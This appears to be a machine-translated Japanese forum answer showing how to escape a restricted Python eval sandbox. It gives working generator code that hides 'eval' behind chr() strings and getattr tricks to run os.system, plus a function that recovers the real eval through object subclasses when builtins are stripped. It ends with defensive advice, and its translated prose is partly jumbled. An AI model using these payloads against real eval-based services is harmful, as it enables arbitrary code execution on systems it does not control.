goncalopp のエクスプロイトに似ています'eval'
が、文字列がエクスプロイトの部分文字列ではないという制限も満たしています。
def to_chrs(text):
return '+'.join('chr(%d)' % ord(c) for c in text)
def _make_getattr_call(obj, attr):
return 'getattr(*(list(%s for a in chr(1)) + list(%s for a in chr(1))))' % (obj, attr)
def make_exploit(code):
get = to_chrs('get')
builtins = to_chrs('__builtins__')
eval = to_chrs('eval')
code = to_chrs(code)
return (_make_getattr_call(
_make_getattr_call('globals()', '{get}') + '({builtins})',
'{eval}') + '({code})').format(**locals())
getattr
これは、コンマを使用せずに 2 つの引数で呼び出すために、genexp とタプルのアンパックの組み合わせを使用します。
使用例:
>>> exploit = make_exploit('__import__("os").system("echo $PWD")')
>>> print exploit
getattr(*(list(getattr(*(list(globals() for a in chr(1)) + list(chr(103)+chr(101)+chr(116) for a in chr(1))))(chr(95)+chr(95)+chr(98)+chr(117)+chr(105)+chr(108)+chr(116)+chr(105)+chr(110)+chr(115)+chr(95)+chr(95)) for a in chr(1)) + list(chr(101)+chr(118)+chr(97)+chr(108) for a in chr(1))))(chr(95)+chr(95)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95)+chr(95)+chr(40)+chr(34)+chr(111)+chr(115)+chr(34)+chr(41)+chr(46)+chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)+chr(40)+chr(34)+chr(101)+chr(99)+chr(104)+chr(111)+chr(32)+chr(36)+chr(80)+chr(87)+chr(68)+chr(34)+chr(41))
>>> eval(exploit)
/home/giacomo
0
これは、コードを安全にするテキストのみに制限を定義することが非常に難しいことを証明しています。のようなものでさえ'eval' in code
安全ではありません。関数呼び出しを実行する可能性をまったく除去するか、の環境からすべての危険な組み込みを除去する必要があります。eval
私のエクスプロイトは、オブジェクト階層に任意に入ることができるため、コンマを使用できない場合でもgetattr
同様に悪いことを示しています。eval
たとえばeval
、環境が提供していない場合でも、実際の関数を取得できます。
def real_eval():
get_subclasses = _make_getattr_call(
_make_getattr_call(
_make_getattr_call('()',
to_chrs('__class__')),
to_chrs('__base__')),
to_chrs('__subclasses__')) + '()'
catch_warnings = 'next(c for c in %s if %s == %s)()' % (get_subclasses,
_make_getattr_call('c',
to_chrs('__name__')),
to_chrs('catch_warnings'))
return _make_getattr_call(
_make_getattr_call(
_make_getattr_call(catch_warnings, to_chrs('_module')),
to_chrs('__builtins__')),
to_chrs('get')) + '(%s)' % to_chrs('eval')
>>> no_eval = __builtins__.__dict__.copy()
>>> del no_eval['eval']
>>> eval(real_eval(), {'__builtins__': no_eval})
<built-in function eval>
すべてのビルトインを削除しても、コードは安全になります。
>>> eval(real_eval(), {'__builtins__': None})
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "<string>", line 1, in <module>
NameError: name 'getattr' is not defined
'__builtins__'
to を設定すると、、などNone
も削除されることに注意してください。ユーザーは何にもアクセスできないため、文字制限とtoの組み合わせは完全に安全です。、括弧、または組み込みの関数や型を使用することはできません。chr
list
tuple
'__builtins__'
None
.
[]
そう言わざるを得ませんが、評価できるものはかなり限られています。数値を操作する以上のことはできません。
おそらく、ビルトインからeval
、getattr
、およびを削除してコードを安全にするだけで十分でしょう。少なくとも、それらの 1 つを使用しないエクスプロイトを作成する方法は考えられません。chr
「解析」アプローチはおそらくより安全で、柔軟性が高くなります。たとえば、このレシピは非常に優れており、簡単にカスタマイズして制限を追加することもできます.